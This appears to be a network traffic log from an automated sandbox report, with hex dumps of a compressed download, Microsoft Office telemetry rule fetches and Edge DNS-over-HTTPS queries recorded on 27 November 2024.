2024-11-27 23:19:42 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-27 23:19:42 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231942Z-174f7845968qj8jrhC1EWRh41s0000000xn0000000002u9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49840	172.64.41.3	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 23:19:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 23:19:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 23:19:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e95d83c1e6ede99-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 23:19:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1e 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:43 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 3470686c-601e-0097-306c-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231943Z-174f7845968xlwnmhC1EWR0sv80000000xgg000000003h78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49841	13.107.246.63	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:43 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231943Z-174f7845968vqt9xhC1EWRgten0000000xmg00000000ey84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:43 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:43 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231944Z-174f7845968kvnqxhC1EWRmf3g0000000ggg000000000wbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:44 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231944Z-174f78459685726chC1EWRsnbg0000000xsg0000000013ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 